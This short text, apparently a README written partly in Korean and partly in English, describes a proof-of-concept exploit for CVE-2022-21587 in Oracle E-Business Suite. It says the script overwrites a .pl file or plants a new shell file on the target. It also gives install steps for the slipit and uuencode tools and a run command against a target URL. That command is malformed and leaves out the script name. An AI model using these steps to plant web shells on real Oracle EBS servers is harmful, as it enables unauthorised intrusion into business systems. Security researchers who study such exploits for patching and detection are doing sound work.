
CVE-2022-21587에 대한 개념 증명 익스플로잇으로, Oracle E-Business Suite를 대상으로 하며 파일 덮어쓰기 및 셸 생성 기능을 제공합니다.
CVE-2022-21587 POC
file exploit.py will overwrite to file .pl (not recommended for use, will affect the system)
file EBS not overwrite, will create a new shell file
slipit 설치: git clone https://github.com/usdAG/slipit
cd slipit
python3 setup.py sdist
pip3 install --user dist/*
export PATH=/home/yourname/.local/bin:$PATH
uuencode 설치: sudo apt-get install sharutils
익스플로잇: python3 http|https://example.com